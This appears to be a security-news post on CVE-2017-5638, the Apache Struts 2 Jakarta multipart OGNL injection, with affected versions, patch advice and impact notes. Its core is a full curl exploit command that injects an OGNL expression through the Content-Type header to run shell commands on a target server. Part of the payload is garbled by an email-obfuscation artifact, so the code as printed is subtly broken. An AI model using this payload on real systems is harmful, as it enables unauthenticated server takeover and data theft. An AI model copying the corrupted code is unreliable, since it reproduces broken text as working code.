Listen to this Post
The CVE-2017-5638 vulnerability in Apache Struts 2 stems from flawed error handling within the Jakarta Multipart parser. When a malicious Content-Type header is sent with a file upload request, the framework attempts to construct an error message. It incorrectly interprets the header’s values, passing them directly to the Object Graph Navigation Language (OGNL) evaluator. OGNL is a powerful expression language used by Struts for data binding and manipulation. This allows an unauthenticated attacker to inject arbitrary OGNL expressions within the Content-Type header. The injected code is then executed on the server with full application privileges, leading to remote command execution. The attack is triggered by a malformed Content-Type value, which forces the framework into an error path where user input is not properly sanitized before being processed by the OGNL engine, thereby granting the attacker direct control over the server.
Platform: Apache Struts 2
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available (2017-03-06)
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/upload.action
How Exploit:
Attackers craft HTTP requests with a malicious OGNL expression in the Content-Type header. The payload is delivered via a file upload endpoint or any action configured to use the Jakarta multipart parser. Upon receiving the malformed header, the server’s error handling mechanism evaluates the embedded OGNL, allowing the attacker to execute operating system commands.
Protection from this CVE:
Apply official patch. Upgrade to Struts 2.3.32 or 2.5.10.1. Implement WAF rules to filter malicious Content-Type headers. Disable the Jakarta Multipart parser if unused.
Impact:
Complete server compromise. Unauthorized remote code execution. Theft of sensitive data. Full system access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
